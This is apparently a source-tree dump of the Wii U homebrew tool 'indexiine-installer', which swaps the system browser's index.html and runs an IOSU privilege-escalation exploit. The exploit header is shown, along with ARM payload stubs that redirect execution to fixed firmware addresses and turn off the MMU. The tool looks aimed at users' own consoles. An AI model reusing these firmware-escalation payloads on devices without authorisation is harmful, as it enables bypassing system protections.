├── arm_kernel ├── .gitignore ├── source │ ├── crt0.s │ ├── types.h │ ├── mmu.s │ └── main.c ├── link.ld └── Makefile ├── arm_user ├── .gitignore ├── source │ ├── utils.h │ ├── types.h │ ├── crt0.s │ ├── utils.c │ └── main.c ├── link.ld └── Makefile ├── wupserver ├── .gitignore ├── ccd00.specs ├── libgcc.a ├── source │ ├── ipc.h │ ├── imports.h │ ├── crt0.s │ ├── types.h │ ├── imports.c │ ├── svc.h │ ├── ipc_types.h │ ├── svc.s │ ├── fsa.h │ ├── fsa.c │ └── ipc.c ├── ccd00.ld └── Makefile ├── .gitignore ├── src ├── common │ ├── types.h │ ├── os_defs.h │ ├── common.h │ └── fs_defs.h ├── entry.c ├── exploit.h ├── utils │ ├── stringutils.h │ ├── fsutils.h │ ├── logger.h │ ├── stringutils.c │ ├── logger.c │ ├── utils.h │ └── fsutils.c ├── fs │ ├── fs_utils.h │ ├── sd_fat_devoptab.h │ └── fs_utils.c ├── link.ld ├── main.h ├── system │ ├── memory.h │ └── memory.c ├── dynamic_libs │ ├── sys_functions.h │ ├── vpad_functions.c │ ├── sys_functions.c │ ├── padscore_functions.c │ ├── ax_functions.h │ ├── socket_functions.h │ ├── ax_functions.c │ ├── socket_functions.c │ ├── vpad_functions.h │ ├── padscore_functions.h │ ├── fs_functions.h │ ├── fs_functions.c │ ├── gx2_functions.c │ ├── gx2_functions.h │ └── os_functions.h ├── main.c └── exploit.c ├── wiiu └── apps │ └── indexiine-installer │ ├── icon.png │ └── meta.xml ├── README.md └── Makefile /arm_kernel/.gitignore: -------------------------------------------------------------------------------- 1 | build/ 2 | arm_kernel_bin.h -------------------------------------------------------------------------------- /arm_user/.gitignore: -------------------------------------------------------------------------------- 1 | build/ 2 | arm_user_bin.h -------------------------------------------------------------------------------- /wupserver/.gitignore: -------------------------------------------------------------------------------- 1 | /build 2 | wupserver_bin.h -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .vscode/ 2 | build/ 3 | payload/* 4 | *.elf 5 | *.bin 6 | *.zip -------------------------------------------------------------------------------- /wupserver/ccd00.specs: -------------------------------------------------------------------------------- 1 | %rename link old_link 2 | 3 | *link: 4 | %(old_link) -T ./ccd00.ld%s 5 | -------------------------------------------------------------------------------- /wupserver/libgcc.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/GaryOderNichts/indexiine-installer/HEAD/wupserver/libgcc.a -------------------------------------------------------------------------------- /wupserver/source/ipc.h: -------------------------------------------------------------------------------- 1 | #ifndef _IPC_H_ 2 | #define _IPC_H_ 3 | 4 | void ipc_init(); 5 | 6 | #endif 7 | -------------------------------------------------------------------------------- /src/common/types.h: -------------------------------------------------------------------------------- 1 | #ifndef TYPES_H 2 | #define TYPES_H 3 | 4 | #include 5 | 6 | #endif /* TYPES_H */ 7 | 8 | -------------------------------------------------------------------------------- /wiiu/apps/indexiine-installer/icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/GaryOderNichts/indexiine-installer/HEAD/wiiu/apps/indexiine-installer/icon.png -------------------------------------------------------------------------------- /src/entry.c: -------------------------------------------------------------------------------- 1 | #include "main.h" 2 | 3 | int __entry_menu(int argc, char **argv) 4 | { 5 | // Jump to our application 6 | return Menu_Main(); 7 | } 8 | -------------------------------------------------------------------------------- /arm_kernel/source/crt0.s: -------------------------------------------------------------------------------- 1 | .section ".init" 2 | .arm 3 | .align 4 4 | 5 | .extern _main 6 | .type _main, %function 7 | 8 | _start: 9 | b _main 10 | -------------------------------------------------------------------------------- /src/exploit.h: -------------------------------------------------------------------------------- 1 | 2 | #ifndef _EXPLOIT_H_ 3 | #define _EXPLOIT_H_ 4 | 5 | void IOSUExploit(); 6 | void uhs_exploit_init(void); 7 | int uhs_write32(int, int); 8 | 9 | #endif 10 | -------------------------------------------------------------------------------- /arm_user/source/utils.h: -------------------------------------------------------------------------------- 1 | #ifndef _UTILS_H_ 2 | #define _UTILS_H_ 3 | 4 | void* m_memcpy(void *dst, const void *src, unsigned int len); 5 | void* m_memset(void *dst, int val, unsigned int len); 6 | 7 | #endif 8 | -------------------------------------------------------------------------------- /src/utils/stringutils.h: -------------------------------------------------------------------------------- 1 | #ifndef _STRINGUTILS_H_ 2 | #define _STRINGUTILS_H_ 3 | 4 | char* stringReplaceAll(const char *search, const char *replace, char *string); 5 | char* stringReplace(char *search, char *replace, char *string); 6 | 7 | #endif -------------------------------------------------------------------------------- /wupserver/source/imports.h: -------------------------------------------------------------------------------- 1 | #ifndef IMPORTS_H 2 | #define IMPORTS_H 3 | 4 | #include 5 | #include 6 | #include "types.h" 7 | 8 | #define MCP_SVC_BASE ((void*)0x050567EC) 9 | 10 | void usleep(u32 time); 11 | 12 | #endif 13 | -------------------------------------------------------------------------------- /arm_user/link.ld: -------------------------------------------------------------------------------- 1 | OUTPUT_ARCH(arm) 2 | 3 | MEMORY 4 | { 5 | RAMX (rx) : ORIGIN = 0x101312D0, LENGTH = 0x000BF00 6 | } 7 | 8 | SECTIONS 9 | { 10 | .text : ALIGN(0x04) { 11 | build/crt0.o(.init) 12 | *(.text) 13 | } 14 | .rodata : { 15 | *(.rodata*) 16 | } 17 | } 18 | 19 | -------------------------------------------------------------------------------- /arm_kernel/link.ld: -------------------------------------------------------------------------------- 1 | OUTPUT_ARCH(arm) 2 | 3 | MEMORY 4 | { 5 | RAMX (rx) : ORIGIN = 0x08134100, LENGTH = 0x000BF00 6 | } 7 | 8 | SECTIONS 9 | { 10 | .text : ALIGN(0x100) { 11 | build/crt0.o(.init) 12 | *(.text) 13 | } 14 | .rodata : { 15 | *(.rodata*) 16 | } 17 | } 18 | 19 | -------------------------------------------------------------------------------- /wupserver/source/crt0.s: -------------------------------------------------------------------------------- 1 | .section ".init" 2 | .arm 3 | .align 4 4 | 5 | .globl _start 6 | 7 | .extern ipc_thread 8 | .type ipc_thread, %function 9 | 10 | _start: 11 | @wupserver 12 | mov r0, #0 13 | bl ipc_thread 14 | @jump to original code 15 | ldr r1,[pc] 16 | bx r1 17 | .word (0x05027954)+1 18 | -------------------------------------------------------------------------------- /arm_user/source/types.h: -------------------------------------------------------------------------------- 1 | #ifndef _TYPES_H 2 | #define _TYPES_H 3 | 4 | #include 5 | 6 | typedef uint8_t u8; 7 | typedef uint16_t u16; 8 | typedef uint32_t u32; 9 | typedef uint64_t u64; 10 | 11 | typedef int8_t s8; 12 | typedef int16_t s16; 13 | typedef int32_t s32; 14 | typedef int64_t s64; 15 | 16 | #endif 17 | -------------------------------------------------------------------------------- /arm_kernel/source/types.h: -------------------------------------------------------------------------------- 1 | #ifndef _TYPES_H 2 | #define _TYPES_H 3 | 4 | #include 5 | 6 | typedef uint8_t u8; 7 | typedef uint16_t u16; 8 | typedef uint32_t u32; 9 | typedef uint64_t u64; 10 | 11 | typedef int8_t s8; 12 | typedef int16_t s16; 13 | typedef int32_t s32; 14 | typedef int64_t s64; 15 | 16 | #endif 17 | -------------------------------------------------------------------------------- /arm_kernel/source/mmu.s: -------------------------------------------------------------------------------- 1 | .section ".text" 2 | .arm 3 | .align 4 4 | 5 | .globl disable_mmu 6 | .type disable_mmu, %function 7 | disable_mmu: 8 | mrc p15, 0, r0, c1, c0, 0 9 | ldr r1, =#0xFFFFEFFA 10 | and r1, r0, r1 11 | mcr p15, 0, r1, c1, c0, 0 12 | bx lr 13 | 14 | .globl restore_mmu 15 | .type restore_mmu, %function 16 | restore_mmu: 17 | mcr p15, 0, r0, c1, c0, 0 18 | bx lr 19 | -------------------------------------------------------------------------------- /wupserver/ccd00.ld: -------------------------------------------------------------------------------- 1 | OUTPUT_ARCH(arm) 2 | 3 | MEMORY 4 | { 5 | RAMX (rx) : ORIGIN = 0x0510E570, LENGTH = 0x00015BC 6 | RAMRW (rw!i) : ORIGIN = 0x05089780, LENGTH = 0x00001F00 7 | } 8 | 9 | SECTIONS 10 | { 11 | .text : { 12 | build/crt0.o(.init) 13 | *(.text) 14 | *(.rodata) 15 | } 16 | 17 | .bss : { 18 | _bss_start = .; 19 | *(.bss); 20 | } 21 | _bss_end = .; 22 | } 23 | -------------------------------------------------------------------------------- /arm_user/source/crt0.s: -------------------------------------------------------------------------------- 1 | .section ".init" 2 | .arm 3 | .align 4 4 | 5 | .extern _main 6 | .type _main, %function 7 | 8 | .extern memset 9 | .type memset, %function 10 | 11 | _start: 12 | b _main 13 | 14 | .global IOS_DCFlushAllCache 15 | IOS_DCFlushAllCache: 16 | MOV R15, R0 17 | clean_loop: 18 | MRC p15, 0, r15, c7, c10, 3 19 | BNE clean_loop 20 | MCR p15, 0, R0, c7, c10, 4 21 | -------------------------------------------------------------------------------- /src/utils/fsutils.h: -------------------------------------------------------------------------------- 1 | #ifndef _FSUTILS_H_ 2 | #define _FSUTILS_H_ 3 | 4 | #include 5 | 6 | uint8_t removeRecursive(const char* path); 7 | uint8_t dirExists(const char* path); 8 | uint8_t fileExists(const char* path); 9 | uint8_t chmodSingle(int fsaFd, char *pPath, int mode); 10 | uint8_t copyDir(const char* src, const char* dst); 11 | uint8_t copyFile(const char* src, const char* dst); 12 | 13 | #endif -------------------------------------------------------------------------------- /src/utils/logger.h: -------------------------------------------------------------------------------- 1 | #ifndef __LOGGER_H_ 2 | #define __LOGGER_H_ 3 | 4 | #ifdef __cplusplus 5 | extern "C" { 6 | #endif 7 | 8 | //#define DEBUG_LOGGER 1 9 | 10 | #ifdef DEBUG_LOGGER 11 | void log_init(const char * ip); 12 | void log_deinit(void); 13 | void log_print(const char *str); 14 | void log_printf(const char *format, ...); 15 | #else 16 | #define log_init(x) 17 | #define log_deinit() 18 | #define log_print(x) 19 | #define log_printf(x, ...) 20 | #endif 21 | 22 | #ifdef __cplusplus 23 | } 24 | #endif 25 | 26 | #endif 27 | -------------------------------------------------------------------------------- /src/fs/fs_utils.h: -------------------------------------------------------------------------------- 1 | #ifndef __FS_UTILS_H_ 2 | #define __FS_UTILS_H_ 3 | 4 | #ifdef __cplusplus 5 | extern "C" { 6 | #endif 7 | 8 | #include 9 | 10 | int MountFS(void *pClient, void *pCmd, char **mount_path); 11 | int UmountFS(void *pClient, void *pCmd, const char *mountPath); 12 | 13 | int LoadFileToMem(const char *filepath, u8 **inbuffer, u32 *size); 14 | 15 | //! todo: C++ class 16 | int CreateSubfolder(const char * fullpath); 17 | int CheckFile(const char * filepath); 18 | 19 | #ifdef __cplusplus 20 | } 21 | #endif 22 | 23 | #endif // __FS_UTILS_H_ 24 | -------------------------------------------------------------------------------- /wiiu/apps/indexiine-installer/meta.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | Indexiine Installer 4 | GaryOderNichts, Jonhyjp 5 | v2 6 | 20200411210000 7 | Installer for Indexiine 8 | 9 | Press A to backup current index.html and install Indexiine 10 | Press B to restore 11 | 12 | https://github.com/GaryOderNichts/indexiine-installer 13 | tool 14 | -------------------------------------------------------------------------------- /arm_user/source/utils.c: -------------------------------------------------------------------------------- 1 | 2 | void* m_memcpy(void *dst, const void *src, unsigned int len) 3 | { 4 | const unsigned char *src_ptr = (const unsigned char *)src; 5 | unsigned char *dst_ptr = (unsigned char *)dst; 6 | 7 | while(len) 8 | { 9 | *dst_ptr++ = *src_ptr++; 10 | --len; 11 | } 12 | return dst; 13 | } 14 | 15 | void* m_memset(void *dst, int val, unsigned int bytes) 16 | { 17 | unsigned char *dst_ptr = (unsigned char *)dst; 18 | unsigned int i = 0; 19 | while(i < bytes) 20 | { 21 | dst_ptr[i] = val; 22 | ++i; 23 | } 24 | return dst; 25 | } 26 | -------------------------------------------------------------------------------- /src/common/os_defs.h: -------------------------------------------------------------------------------- 1 | #ifndef __OS_DEFS_H_ 2 | #define __OS_DEFS_H_ 3 | 4 | #ifdef __cplusplus 5 | extern "C" { 6 | #endif 7 | 8 | typedef struct _OsSpecifics 9 | { 10 | unsigned int addr_OSDynLoad_Acquire; 11 | unsigned int addr_OSDynLoad_FindExport; 12 | unsigned int addr_OSTitle_main_entry; 13 | 14 | unsigned int addr_KernSyscallTbl1; 15 | unsigned int addr_KernSyscallTbl2; 16 | unsigned int addr_KernSyscallTbl3; 17 | unsigned int addr_KernSyscallTbl4; 18 | unsigned int addr_KernSyscallTbl5; 19 | } OsSpecifics; 20 | 21 | #ifdef __cplusplus 22 | } 23 | #endif 24 | 25 | #endif // __OS_DEFS_H_ 26 | -------------------------------------------------------------------------------- /wupserver/source/types.h: -------------------------------------------------------------------------------- 1 | #ifndef TYPES_H 2 | #define TYPES_H 3 | 4 | #include 5 | #include 6 | 7 | #define U64_MAX UINT64_MAX 8 | 9 | typedef uint8_t u8; 10 | typedef uint16_t u16; 11 | typedef uint32_t u32; 12 | typedef uint64_t u64; 13 | 14 | typedef int8_t s8; 15 | typedef int16_t s16; 16 | typedef int32_t s32; 17 | typedef int64_t s64; 18 | 19 | typedef volatile u8 vu8; 20 | typedef volatile u16 vu16; 21 | typedef volatile u32 vu32; 22 | typedef volatile u64 vu64; 23 | 24 | typedef volatile s8 vs8; 25 | typedef volatile s16 vs16; 26 | typedef volatile s32 vs32; 27 | typedef volatile s64 vs64; 28 | 29 | #endif 30 | -------------------------------------------------------------------------------- /arm_user/source/main.c: -------------------------------------------------------------------------------- 1 | #include "types.h" 2 | #include "utils.h" 3 | 4 | 5 | void _main() 6 | { 7 | 8 | void(*ios_shutdown)(int) = (void(*)(int))0x1012EE4C; 9 | 10 | int(*reply)(int, int) = (int(*)(int, int))0x1012ED04; 11 | 12 | int saved_handle = *(volatile u32*)0x01E10000; 13 | int myret = reply(saved_handle, 0); 14 | if (myret != 0) 15 | ios_shutdown(1); 16 | 17 | // stack pointer will be 0x1016AE30 18 | // link register will be 0x1012EACC 19 | asm("LDR SP, newsp\n" 20 | "LDR R0, newr0\n" 21 | "LDR LR, newlr\n" 22 | "LDR PC, newpc\n" 23 | "newsp: .word 0x1016AE30\n" 24 | "newlr: .word 0x1012EACC\n" 25 | "newr0: .word 0x10146080\n" 26 | "newpc: .word 0x10111164\n"); 27 | 28 | 29 | 30 | } 31 | -------------------------------------------------------------------------------- /src/link.ld: -------------------------------------------------------------------------------- 1 | OUTPUT(indexiine-installer.elf); 2 | 3 | /* Tell linker where our application entry is so the garbage collect can work correct */ 4 | ENTRY(__entry_menu); 5 | 6 | SECTIONS { 7 | . = 0x00802000; 8 | .text : { 9 | *(.text*); 10 | } 11 | .rodata : { 12 | *(.rodata*); 13 | } 14 | .data : { 15 | *(.data*); 16 | 17 | __sdata_start = .; 18 | *(.sdata*); 19 | __sdata_end = .; 20 | 21 | __sdata2_start = .; 22 | *(.sdata2*); 23 | __sdata2_end = .; 24 | } 25 | .bss : { 26 | __bss_start = .; 27 | *(.bss*); 28 | *(.sbss*); 29 | *(COMMON); 30 | __bss_end = .; 31 | } 32 | __CODE_END = .; 33 | 34 | /DISCARD/ : { 35 | *(*); 36 | } 37 | } 38 | 39 | /******************************************************** FS ********************************************************/ 40 | /* coreinit.rpl difference in addresses 0xFE3C00 */ 41 | -------------------------------------------------------------------------------- /src/main.h: -------------------------------------------------------------------------------- 1 | #ifndef _MAIN_H_ 2 | #define _MAIN_H_ 3 | 4 | #include "common/types.h" 5 | #include "common/common.h" 6 | #include "dynamic_libs/os_functions.h" 7 | 8 | #define MLC_MOUNT_PATH "/vol/storage_mlc01" 9 | 10 | #define BROWSER_PATH_EUR "dev:/sys/title/00050030/1001220a" 11 | #define BROWSER_PATH_USA "dev:/sys/title/00050030/1001210a" 12 | #define BROWSER_PATH_JPN "dev:/sys/title/00050030/1001200a" 13 | 14 | #define INDEX_PATH "/content/pages/index.html" 15 | 16 | #define INDEX_BACKUP_PATH "sd:/wiiu/apps/indexiine-installer/backup-index.html" 17 | #define INDEXIINE_INDEX_PATH "sd:/wiiu/apps/indexiine-installer/index.html" 18 | 19 | #define INDEX_MODE 0x644 20 | 21 | /* Main */ 22 | #ifdef __cplusplus 23 | extern "C" { 24 | #endif 25 | 26 | typedef enum 27 | { 28 | Undetected, 29 | EUR, 30 | USA, 31 | JPN 32 | } Region; 33 | 34 | 35 | int Menu_Main(void); 36 | void console_printf(int newline, const char *format, ...); 37 | 38 | #ifdef __cplusplus 39 | } 40 | #endif 41 | 42 | #endif 43 | -------------------------------------------------------------------------------- /wupserver/source/imports.c: -------------------------------------------------------------------------------- 1 | #include "imports.h" 2 | 3 | void usleep(u32 time) 4 | { 5 | ((void (*const)(u32))0x050564E4)(time); 6 | } 7 | 8 | void* memset(void* dst, int val, size_t size) 9 | { 10 | char* _dst = dst; 11 | 12 | int i; 13 | for(i = 0; i < size; i++) _dst[i] = val; 14 | 15 | return dst; 16 | } 17 | 18 | void* (*const _memcpy)(void* dst, void* src, int size) = (void*)0x05054E54; 19 | 20 | void* memcpy(void* dst, const void* src, size_t size) 21 | { 22 | return _memcpy(dst, (void*)src, size); 23 | } 24 | /* 25 | int strlen(const char* str) 26 | { 27 | unsigned int i = 0; 28 | while (str[i]) { 29 | i++; 30 | } 31 | return i; 32 | } 33 | */ 34 | char* strncpy(char* dst, const char* src, size_t size) 35 | { 36 | int i; 37 | for(i = 0; i < size; i++) 38 | { 39 | dst[i] = src[i]; 40 | if(src[i] == '\0') return dst; 41 | } 42 | 43 | return dst; 44 | } 45 | /* 46 | int vsnprintf(char * s, size_t n, const char * format, va_list arg) 47 | { 48 | return ((int (*const)(char*, size_t, const char *, va_list))0x05055C40)(s, n, format, arg); 49 | } 50 | */ -------------------------------------------------------------------------------- /src/common/common.h: -------------------------------------------------------------------------------- 1 | #ifndef COMMON_H 2 | #define COMMON_H 3 | 4 | #ifdef __cplusplus 5 | extern "C" { 6 | #endif 7 | 8 | #include "os_defs.h" 9 | 10 | #define CAFE_OS_SD_PATH "/vol/external01" 11 | #define SD_PATH "sd:" 12 | #define WIIU_PATH "/wiiu" 13 | 14 | #ifndef MEM_BASE 15 | #define MEM_BASE (0x00800000) 16 | #endif 17 | 18 | #define ELF_DATA_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x00)) 19 | #define ELF_DATA_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x04)) 20 | #define MAIN_ENTRY_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x00)) 21 | #define OS_FIRMWARE (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x04)) 22 | 23 | #define OS_SPECIFICS ((OsSpecifics*)(MEM_BASE + 0x1500)) 24 | 25 | #ifndef EXIT_SUCCESS 26 | #define EXIT_SUCCESS 0 27 | #endif 28 | #define EXIT_HBL_EXIT 0xFFFFFFFE 29 | #define EXIT_RELAUNCH_ON_LOAD 0xFFFFFFFD 30 | 31 | #ifdef __cplusplus 32 | } 33 | #endif 34 | 35 | #endif /* COMMON_H */ 36 | 37 | -------------------------------------------------------------------------------- /wupserver/source/svc.h: -------------------------------------------------------------------------------- 1 | #ifndef SVC_H 2 | #define SVC_H 3 | 4 | #include "ipc_types.h" 5 | 6 | typedef struct 7 | { 8 | void* ptr; 9 | u32 len; 10 | u32 unk; 11 | }iovec_s; 12 | 13 | void* svcAlloc(u32 heapid, u32 size); 14 | void* svcAllocAlign(u32 heapid, u32 size, u32 align); 15 | void svcFree(u32 heapid, void* ptr); 16 | int svcOpen(char* name, int mode); 17 | int svcClose(int fd); 18 | int svcIoctl(int fd, u32 request, void* input_buffer, u32 input_buffer_len, void* output_buffer, u32 output_buffer_len); 19 | int svcIoctlv(int fd, u32 request, u32 vector_count_in, u32 vector_count_out, iovec_s* vector); 20 | int svcInvalidateDCache(void* address, u32 size); 21 | int svcFlushDCache(void* address, u32 size); 22 | 23 | int svcCreateThread(int (*callback)(void* arg), void* arg, u32* stack_top, u32 stacksize, int priority, int detached); 24 | int svcStartThread(int threadId); 25 | int svcCreateMessageQueue(u32 *ptr, u32 n_msgs); 26 | int svcRegisterResourceManager(const char* device, int queueid); 27 | int svcReceiveMessage(int queueid, ipcmessage ** ipc_buf, u32 flags); 28 | int svcResourceReply(ipcmessage * ipc_message, u32 result); 29 | u32 svcRead32(u32 addr); 30 | 31 | #endif 32 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # indexiine-installer 2 | Installer for Indexiine 3 | 4 | ![alt text](https://i.imgur.com/TrjtBUx.png "Icon") 5 | 6 | You can find more Information about Indexiine in the [GBAtemp thread](https://gbatemp.net/threads/indexiine-load-cfw-during-boot-and-offline-without-a-vc-ds-title.553681/)! 7 | 8 | ## Usage 9 | 10 | You don't need to run CFW. Indexiine Installer will do an IOSU Exploit when there is no CFW. 11 | Indexiine requires the payload.elf from [here](https://github.com/wiiu-env/homebrew_launcher_installer/releases/tag/v1.4) to be placed to `sd:/wiiu/` or else the exploit won't work. 12 | 13 | * Extract the `.zip` from the [releases page](https://github.com/GaryOderNichts/indexiine-installer/releases) to your sd card 14 | * Run Indexiine Installer 15 | * Press A to backup current index.html and install Indexiine, Press B to restore 16 | 17 | The backup is written to `sd:/wiiu/apps/indexiine-installer/backup-index.html` 18 | 19 | ## Credits 20 | 21 | Jonhyjp - Indexiine 22 | FIX94 - IOSU Exploit and wupserver copied from wuphax 23 | dimok789 - libiosuhax 24 | 25 | ## Build 26 | 27 | Run `make` in arm_user, arm_kernel and wupserver and copy each `*bin.h` to /payload 28 | Run `make` 29 | 30 | ## Disclaimer 31 | 32 | I am not responsible for any bricks or other damage done to your device! 33 | -------------------------------------------------------------------------------- /src/utils/stringutils.c: -------------------------------------------------------------------------------- 1 | #include "stringutils.h" 2 | #include 3 | #include 4 | 5 | char* stringReplaceAll(const char *search, const char *replace, char *string) 6 | { 7 | char* searchStart = strstr(string, search); 8 | while (searchStart != NULL) 9 | { 10 | char* tempString = (char*) malloc(strlen(string) * sizeof(char)); 11 | if(tempString == NULL) { 12 | return NULL; 13 | } 14 | 15 | strcpy(tempString, string); 16 | 17 | int len = searchStart - string; 18 | string[len] = '\0'; 19 | 20 | strcat(string, replace); 21 | 22 | len += strlen(search); 23 | strcat(string, (char*)tempString+len); 24 | 25 | free(tempString); 26 | 27 | searchStart = strstr(string, search); 28 | } 29 | 30 | return string; 31 | } 32 | 33 | char* stringReplace(char *search, char *replace, char *string) 34 | { 35 | char* searchStart = strstr(string, search); 36 | if(searchStart == NULL) { 37 | return string; 38 | } 39 | 40 | char* tempString = (char*) malloc(strlen(string) * sizeof(char)); 41 | if(tempString == NULL) { 42 | return NULL; 43 | } 44 | 45 | strcpy(tempString, string); 46 | 47 | int len = searchStart - string; 48 | string[len] = '\0'; 49 | 50 | strcat(string, replace); 51 | 52 | len += strlen(search); 53 | strcat(string, (char*)tempString+len); 54 | 55 | free(tempString); 56 | 57 | return string; 58 | } -------------------------------------------------------------------------------- /src/fs/sd_fat_devoptab.h: -------------------------------------------------------------------------------- 1 | /*************************************************************************** 2 | * Copyright (C) 2015 3 | * by Dimok 4 | * 5 | * This software is provided 'as-is', without any express or implied 6 | * warranty. In no event will the authors be held liable for any 7 | * damages arising from the use of this software. 8 | * 9 | * Permission is granted to anyone to use this software for any 10 | * purpose, including commercial applications, and to alter it and 11 | * redistribute it freely, subject to the following restrictions: 12 | * 13 | * 1. The origin of this software must not be misrepresented; you 14 | * must not claim that you wrote the original software. If you use 15 | * this software in a product, an acknowledgment in the product 16 | * documentation would be appreciated but is not required. 17 | * 18 | * 2. Altered source versions must be plainly marked as such, and 19 | * must not be misrepresented as being the original software. 20 | * 21 | * 3. This notice may not be removed or altered from any source 22 | * distribution. 23 | ***************************************************************************/ 24 | #ifndef __SD_FAT_DEVOPTAB_H_ 25 | #define __SD_FAT_DEVOPTAB_H_ 26 | 27 | #ifdef __cplusplus 28 | extern "C" { 29 | #endif 30 | 31 | int mount_sd_fat(const char *path); 32 | int unmount_sd_fat(const char *path); 33 | 34 | #ifdef __cplusplus 35 | } 36 | #endif 37 | 38 | #endif // __SD_FAT_DEVOPTAB_H_ 39 | -------------------------------------------------------------------------------- /src/system/memory.h: -------------------------------------------------------------------------------- 1 | /**************************************************************************** 2 | * Copyright (C) 2015 Dimok 3 | * 4 | * This program is free software: you can redistribute it and/or modify 5 | * it under the terms of the GNU General Public License as published by 6 | * the Free Software Foundation, either version 3 of the License, or 7 | * (at your option) any later version. 8 | * 9 | * This program is distributed in the hope that it will be useful, 10 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | * GNU General Public License for more details. 13 | * 14 | * You should have received a copy of the GNU General Public License 15 | * along with this program. If not, see . 16 | ****************************************************************************/ 17 | #ifndef __MEMORY_H_ 18 | #define __MEMORY_H_ 19 | 20 | #ifdef __cplusplus 21 | extern "C" { 22 | #endif 23 | 24 | #include 25 | 26 | void memory_init(void); 27 | void memory_end(void); 28 | 29 | void * MEM2_alloc(unsigned int size, unsigned int align); 30 | void MEM2_free(void *ptr); 31 | 32 | void * MEM1_alloc(unsigned int size, unsigned int align); 33 | void MEM1_free(void *ptr); 34 | 35 | void * MEMBucket_alloc(unsigned int size, unsigned int align); 36 | void MEMBucket_free(void *ptr); 37 | 38 | #ifdef __cplusplus 39 | } 40 | #endif 41 | 42 | #endif // __MEMORY_H_ 43 | -------------------------------------------------------------------------------- /src/dynamic_libs/sys_functions.h: -------------------------------------------------------------------------------- 1 | /**************************************************************************** 2 | * Copyright (C) 2015 3 | * by Dimok 4 | * 5 | * This software is provided 'as-is', without any express or implied 6 | * warranty. In no event will the authors be held liable for any 7 | * damages arising from the use of this software. 8 | * 9 | * Permission is granted to anyone to use this software for any 10 | * purpose, including commercial applications, and to alter it and 11 | * redistribute it freely, subject to the following restrictions: 12 | * 13 | * 1. The origin of this software must not be misrepresented; you 14 | * must not claim that you wrote the original software. If you use 15 | * this software in a product, an acknowledgment in the product 16 | * documentation would be appreciated but is not required. 17 | * 18 | * 2. Altered source versions must be plainly marked as such, and 19 | * must not be misrepresented as being the original software. 20 | * 21 | * 3. This notice may not be removed or altered from any source 22 | * distribution. 23 | ***************************************************************************/ 24 | #ifndef __SYS_FUNCTIONS_H_ 25 | #define __SYS_FUNCTIONS_H_ 26 | 27 | #ifdef __cplusplus 28 | extern "C" { 29 | #endif 30 | 31 | void InitSysFunctionPointers(void); 32 | 33 | extern void(*_SYSLaunchTitleByPathFromLauncher)(const char* path, int len, int zero); 34 | extern int (* SYSRelaunchTitle)(int argc, char* argv); 35 | extern int (* SYSLaunchMenu)(void); 36 | 37 | 38 | #ifdef __cplusplus 39 | } 40 | #endif 41 | 42 | #endif // __SYS_FUNCTIONS_H_ 43 | -------------------------------------------------------------------------------- /src/dynamic_libs/vpad_functions.c: -------------------------------------------------------------------------------- 1 | /**************************************************************************** 2 | * Copyright (C) 2015 3 | * by Dimok 4 | * 5 | * This software is provided 'as-is', without any express or implied 6 | * warranty. In no event will the authors be held liable for any 7 | * damages arising from the use of this software. 8 | * 9 | * Permission is granted to anyone to use this software for any 10 | * purpose, including commercial applications, and to alter it and 11 | * redistribute it freely, subject to the following restrictions: 12 | * 13 | * 1. The origin of this software must not be misrepresented; you 14 | * must not claim that you wrote the original software. If you use 15 | * this software in a product, an acknowledgment in the product 16 | * documentation would be appreciated but is not required. 17 | * 18 | * 2. Altered source versions must be plainly marked as such, and 19 | * must not be misrepresented as being the original software. 20 | * 21 | * 3. This notice may not be removed or altered from any source 22 | * distribution. 23 | ***************************************************************************/ 24 | #include "os_functions.h" 25 | #include "vpad_functions.h" 26 | 27 | EXPORT_DECL(void, VPADInit, void); 28 | EXPORT_DECL(void, VPADRead, int chan, VPADData *buffer, u32 buffer_size, s32 *error); 29 | 30 | void InitVPadFunctionPointers(void) 31 | { 32 | unsigned int *funcPointer = 0; 33 | unsigned int vpad_handle; 34 | OSDynLoad_Acquire("vpad.rpl", &vpad_handle); 35 | 36 | OS_FIND_EXPORT(vpad_handle, VPADInit); 37 | OS_FIND_EXPORT(vpad_handle, VPADRead); 38 | } 39 | 40 | -------------------------------------------------------------------------------- /src/common/fs_defs.h: -------------------------------------------------------------------------------- 1 | #ifndef FS_DEFS_H 2 | #define FS_DEFS_H 3 | 4 | #include "types.h" 5 | 6 | #ifdef __cplusplus 7 | extern "C" { 8 | #endif 9 | 10 | 11 | /* FS defines and types */ 12 | #define FS_MAX_LOCALPATH_SIZE 511 13 | #define FS_MAX_MOUNTPATH_SIZE 128 14 | #define FS_MAX_FULLPATH_SIZE (FS_MAX_LOCALPATH_SIZE + FS_MAX_MOUNTPATH_SIZE) 15 | #define FS_MAX_ARGPATH_SIZE FS_MAX_FULLPATH_SIZE 16 | 17 | #define FS_STATUS_OK 0 18 | #define FS_RET_UNSUPPORTED_CMD 0x0400 19 | #define FS_RET_NO_ERROR 0x0000 20 | #define FS_RET_ALL_ERROR (unsigned int)(-1) 21 | 22 | #define FS_STAT_FLAG_IS_DIRECTORY 0x80000000 23 | 24 | /* max length of file/dir name */ 25 | #define FS_MAX_ENTNAME_SIZE 256 26 | 27 | #define FS_SOURCETYPE_EXTERNAL 0 28 | #define FS_SOURCETYPE_HFIO 1 29 | #define FS_SOURCETYPE_HFIO 1 30 | 31 | #define FS_MOUNT_SOURCE_SIZE 0x300 32 | #define FS_CLIENT_SIZE 0x1700 33 | #define FS_CMD_BLOCK_SIZE 0xA80 34 | 35 | typedef struct 36 | { 37 | uint32_t flag; 38 | uint32_t permission; 39 | uint32_t owner_id; 40 | uint32_t group_id; 41 | uint32_t size; 42 | uint32_t alloc_size; 43 | uint64_t quota_size; 44 | uint32_t ent_id; 45 | uint64_t ctime; 46 | uint64_t mtime; 47 | uint8_t attributes[48]; 48 | } __attribute__((packed)) FSStat; 49 | 50 | typedef struct 51 | { 52 | FSStat stat; 53 | char name[FS_MAX_ENTNAME_SIZE]; 54 | } 